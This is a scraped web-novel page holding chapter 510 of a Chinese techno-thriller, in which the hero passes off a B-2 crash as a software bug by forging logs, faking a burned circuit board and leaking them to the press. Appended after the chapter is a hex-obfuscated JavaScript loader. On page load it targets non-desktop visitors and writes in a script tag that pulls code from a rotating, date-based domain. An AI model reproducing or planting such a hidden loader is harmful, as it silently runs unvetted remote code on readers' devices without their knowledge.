返回第510章 这就是个价值二十亿的“代码BUG”?!  爱吃鱼小仙首页

关灯 护眼     字体:

上一章 目录 下一章

华盛顿的雪还没化完,白宫新闻发布厅里的气氛就已经比外面的烂泥地还要焦灼。

三天了。

名为“幽灵”的大家伙躺在沙漠里晒太阳的照片,已经被全球的网民ps出了十八个版本。

有的给它p上了当地骆驼队的商标,有的在机翼上画了着名的“到此一游”。

美国空军之前抛出的“强对流天气导致撞机”的解释,就象一张贴在洪水大堤上的创可贴,瞬间就被全世界舆论的口水给冲烂了。

“简直是胡扯!”

着名的军事博主在他的直播间里唾沫横飞,“加沙那天晚上连根鸡毛都吹不动!你告诉我那有强对流?

b-2是纸糊的吗?还是我们的纳税人都拿去买风筝了?”

而在几千公里外的京城,一间不起眼的文档室里,许燃正跷着二郎腿,一边喝着豆汁儿,一边看着屏幕上还在跳动的加密数据。

那是他从史密斯上校身上弄回来的黑卡里的内核内容。

“有意思。”

许燃手指在键盘上敲了敲,发出清脆的响声。

“李叔,你看这个。”

李将军正愁得在快被薅秃了的头发上抓来抓去,“看啥?

外交部那边电话都被打爆了,都在问咱们什么时候能把那一堆‘废铁’交出去。

那帮美国佬为了这堆烂摊子,现在咬人的心都有,如果不给他们一个台阶下,这帮疯狗真的会乱咬人。”

“这台阶,不就来了么。”

许燃指着屏幕上的一行行像天书一样的源码。

“b-2的飞控系统是上世纪八十年代写的,虽然经过了几次升级,但这底层逻辑,是用一种极古老的jovial语言写的。”

许燃嘴角的坏笑藏不住,“这就象是个一百岁的老头穿上了阿迪达斯,看着挺潮,其实骨质疏松。”

“在它的一行负责处理地形回避雷达回波的代码里,有个致命的‘逻辑死锁’。”

许燃放大了那一串代码,“当外部电磁环境出现特定频率的‘瞬间空白’,也就是咱们那时候搞的全频段静默,然后再突然给一个极其强烈的脉冲信号……”

“这老头的心脏,会偷停那么几毫秒。”

“在计算机看来,这是一个必须重启的高危错误。”

“为了保护内核数据,系统会触发一个‘死亡保护’机制,强行锁死舵面,进入姿态修正模式。”

许燃把剩下的半碗豆汁儿一口闷了,“说白了,它不是咱们打下来的。

是它自己的脑子那一刻短路了,左脚拌右脚,把自己摔死的。”

李将军听得一愣一愣的,“这……这意思是他们质量不行?”

“质量问题就是丑闻,是几千亿的索赔官司。”

许燃摆摆手,“但如果只是一个‘极其罕见’的、‘甚至可以说是上帝故意叼难’的软件bug呢?”

李将军眼神亮了,“给他们留裤衩?”

“不给他们留,他们就会跟咱们拼命。”

许燃从印表机里扯出一张刚打好的纸,上面是他特意用旧式针式印表机打出来的“伪造日志”。

这日志看起来有些年头了,上面的油墨都带着陈旧的味道。

上面‘恰好’记载了一次仿真实验中,飞控计算机因为类似情况而报错的记录。”

许燃抖了抖那张纸,“当然,最后被标注为‘概率极低,无需召回’。”

“咱们不发。

找个靠谱的欧洲朋友,‘不小心’把这份绝密文档泄露出去。”

“比如那家平时就看美国人不顺眼的法国《世界报》?”李将军也是个老江湖,一点就通。

“还不够。”

许燃站起身,从身后的保险柜里摸出一个黑乎乎的金属块。

是昨天才运回来的b-2主飞控计算机的主板残骸。

当然,里面的芯片早就被拆了个干净,换上了一块从报废洗衣机上拆下来的单片机,但这都不重要。

重要的是,这块板子被许燃用高压电极其“艺术”地电击了一下。

在内核运算区,留下了一个触目惊心,仿佛是因为逻辑冲突而过载烧毁的焦痕。

“再加之这个。”

许燃把废铁抛给李将军,“把它做成礼盒,给即将要去现场调查的‘国际航空安全特别调查组’送去。”

“就说是我们本着人道主义精神,在一堆瓦砾里抢救出来的‘真相’。”

……

三天后,日内瓦。

一场吸引了全球目光的发布会正在进行。

台下的长枪短炮密得连苍蝇都飞不进去。

法国《世界报》的头版头条已经在早上炸锅了,《b-2坠毁真相:价值二十亿的幽灵,死于一行傲慢的代码》。

在那篇报道里,带着咖啡渍和油墨味的“十年前内部备忘录”被复印得清清楚楚。

上面赫然写着:“警告:飞控总线在极端电磁切换环境下可能发生堆栈溢出。”

后面跟着一个潦草的红色批注:“风险可控,暂缓修复,以免影响量产进度。”

“简直是谋杀!”

发布会现场,国际航空安全组织的调查员举起了那块由华夏方面提供,“充满了悲剧色彩”的主板残骸。

在放大了一百倍的投影屏幕上,致命的电流焦痕清淅可见,正对着被标注为“姿态控制协处理器”的位置。

“这块从事故现场找回的关键证据,与泄露文档中的描述完美吻合!”

调查员的声音激昂,“这不是什么天气原因,更不是什么敌方打击!

这就是一场因为设计缺陷和官僚主义导致的系统性崩溃!

美国军方为了赶进度,竟然让飞行员驾驶着这样有致命bug的飞机升空!”

台下一片哗然。

记者们疯狂地敲打着键盘。

这可比什么被华夏击落劲爆多了!这是一个帝国的腐朽啊!

而此时的五角大楼里。

威尔逊上将看着电视里的画面,手里的一杯威士忌直接捏碎了。

玻璃碴子扎进肉里,但他似乎感觉不到疼。

“高明……真他娘的高明。”

旁边的马蒂斯部长象是一夜之间老了十岁,“他们把梯子给咱们架好了,虽然这梯子上全是钉子,但咱们必须得踩。”

承认是被华夏干下来的?那就是承认美军内核装备不如华夏,全球霸权崩盘。

承认是自己代码有bug?

那就是内部丑闻,虽然丢人,脸肿了,还要停飞整个机队检查,还要被国会那帮老爷骂成狗。

但至少……还能维持摇摇欲坠的“无敌”神话——我们没输给别人,我们是输给了自己的马虎!

“开发布会吧。”

马蒂斯长叹一口气,“承认软件缺陷,宣布全球所有b-2无限期停飞整改。

顺便……向外界暗示,这份‘泄密文档’的流出,我们将追究责任。”

看着为了这点“面子”而被迫自己抽自己耳光的美国将军们,京城的四合院里,许燃正蹲在门口,给一只流浪猫喂火腿肠。

“喵呜——”

猫吃得很香。

“看见没?”

许燃摸了摸猫头,眼神里全是戏谑,“有时候这世界上最好的武器不是导弹。”

“是一个能让他们不得不吃的哑巴亏。”

“叮——”

系统再次跳出金色的弹窗,这次还居然还自带了特效。

【战术结算完成:兵不厌诈。】

【宿主成功引导舆论,将一场可能引爆世界大战的危机,降维成了一场技术丑闻。】

【这种手段,已经超出了“学霸”的范畴,隐约有了几分“国手”的味道。】

【特殊奖励:因b-2停飞,美军空中威慑力出现半年真空期。这半年的“安全窗口”,价值连城。】

许燃拍了拍手上的碎屑,站起身。

阳光正好。

这份天上掉下来的大礼包,似乎并没有想象中那么好消化。

有的人,还没吃几口,就有点撑得要找不着北了。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");